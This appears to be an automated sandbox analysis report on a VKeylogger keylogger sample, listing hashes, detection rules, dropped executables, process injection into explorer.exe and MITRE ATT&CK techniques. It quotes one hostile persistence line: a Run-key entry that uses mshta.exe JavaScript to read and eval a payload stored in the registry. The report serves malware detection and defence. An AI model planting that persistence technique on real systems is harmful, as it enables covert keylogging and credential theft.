vkeylogger | e6ccc7cc7154361faaf1994b3395a27bb0b8a97f002e28bcdba5e9901793bb00

General

Target

b2b_2022-03-20_00-04.exe
Size

298KB
MD5

773c9670c70dd5c465ad8e57a39ae55a
SHA1

dc117d5ecfdea361e0c31568c3a78714461ad02b
SHA256

e6ccc7cc7154361faaf1994b3395a27bb0b8a97f002e28bcdba5e9901793bb00
SHA512

265e1d19da3f1a13a25fc2dd6a12cfff484520e1228517d57dfb9cb4ff171bc4d4f986321eba619dbbb77019c714daf1b6bcd7c9dc921ddcee86ef0b25aa2dac

Score

10^/10

vkeylogger keylogger persistence stealer

Malware Config

Signatures

VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 3 IoCs

resource	yara_rule
behavioral2/memory/3512-136-0x0000000000720000-0x0000000000732000-memory.dmp	family_vkeylogger
behavioral2/memory/3512-137-0x0000000000400000-0x0000000000474000-memory.dmp	family_vkeylogger
behavioral2/memory/1500-138-0x0000000000A00000-0x0000000000A13000-memory.dmp	family_vkeylogger

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
4636	888.exe
4112	108.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ghtrh = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mfoedmf = "C:\\Users\\Admin\\AppData\\Local\\Temp\\b2b_2022-03-20_00-04.exe"	explorer.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3512 set thread context of 1500	3512	b2b_2022-03-20_00-04.exe	89

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3104	3512	WerFault.exe	84

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4636	888.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3512	b2b_2022-03-20_00-04.exe
1500	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1500	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1500	explorer.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3512 wrote to memory of 1500	3512	b2b_2022-03-20_00-04.exe	89
PID 3512 wrote to memory of 1500	3512	b2b_2022-03-20_00-04.exe	89
PID 3512 wrote to memory of 1500	3512	b2b_2022-03-20_00-04.exe	89
PID 1500 wrote to memory of 4636	1500	explorer.exe	104
PID 1500 wrote to memory of 4636	1500	explorer.exe	104
PID 1500 wrote to memory of 4112	1500	explorer.exe	106
PID 1500 wrote to memory of 4112	1500	explorer.exe	106

C:\Users\Admin\AppData\Local\Temp\b2b_2022-03-20_00-04.exe
"C:\Users\Admin\AppData\Local\Temp\b2b_2022-03-20_00-04.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\SysWOW64\explorer.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Users\Admin\AppData\Local\Temp\888.exe
    "C:\Users\Admin\AppData\Local\Temp\888.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4636
- - C:\Users\Admin\AppData\Local\Temp\108.exe
    "C:\Users\Admin\AppData\Local\Temp\108.exe"
    3⤵
    - Executes dropped EXE
    PID:4112
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3512 -s 288
  2⤵
  - Program crash
  PID:3104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3512 -ip 3512
1⤵
PID:3900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1500-138-0x0000000000A00000-0x0000000000A13000-memory.dmp

Filesize
76KB

Download
memory/3512-134-0x00000000007ED000-0x00000000007FD000-memory.dmp

Filesize
64KB

Download
memory/3512-135-0x00000000007ED000-0x00000000007FD000-memory.dmp

Filesize
64KB

Download
memory/3512-136-0x0000000000720000-0x0000000000732000-memory.dmp

Filesize
72KB

Download
memory/3512-137-0x0000000000400000-0x0000000000474000-memory.dmp

Filesize
464KB

Download

Analysis

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